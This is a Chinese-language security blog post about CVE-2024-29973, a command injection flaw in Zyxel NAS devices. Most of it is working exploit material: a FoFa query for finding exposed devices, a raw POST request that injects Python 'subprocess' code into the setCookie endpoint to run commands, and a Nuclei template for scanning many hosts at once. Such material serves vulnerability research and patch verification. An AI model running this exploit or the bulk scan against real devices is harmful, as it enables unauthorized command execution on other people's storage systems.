CVE-2024-29973 Zyxel-NAS设备存在远程命令执行漏洞

CVE-2024-29973 Zyxel-NAS设备存在远程命令执行漏洞

原创 Swimt 星悦安全 2024-06-23 14:34

漏洞简介

合勤科技(ZyXEL)是国际知名的网络宽带系统及解决方案供应商。2024年6月4日,启明星辰集团VSRC监测到Zyxel NAS设备中修复了多个漏洞,目前这些漏洞的技术细节及部分PoC已公开

资产详情

FoFa:body="/cmd,/ck6fup6/user_grp_cgi/cgi_modify_userinfo"


漏洞复现

POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHHaZAYecVOf5sfa6

------WebKitFormBoundaryHHaZAYecVOf5sfa6
Content-Disposition: form-data; name="c0"

storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("id", shell=True)#
------WebKitFormBoundaryHHaZAYecVOf5sfa6--


– Nuclei 批量检测POC

  • 所用方法nuclei.exe -l 网址文件.txt -t POC.yaml
id: Zyxel-NAS_setCookie_RCE

info:
  name: Zyxel-NAS_setCookie_RCE
  author: security-xm
  severity: high
  description: Zyxel-NAS设备 setCookie 远程命令执行漏洞 (CVE-2024-29973)
  metadata:
    max-request: 1
    shodan-query: ""
    verified: true

http:
- raw:
  - |+
    @timeout: 30s
    POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    Accept: */*
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryHHaZAYecVOf5sfa6
    Content-Length: 240

    ------WebKitFormBoundaryHHaZAYecVOf5sfa6
    Content-Disposition: form-data; name="c0"

    storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("id", shell=True)#
    ------WebKitFormBoundaryHHaZAYecVOf5sfa6--

  max-redirects: 3
  matchers-condition: and
  matchers:
    - type: word
      part: body
      words:
        - uid

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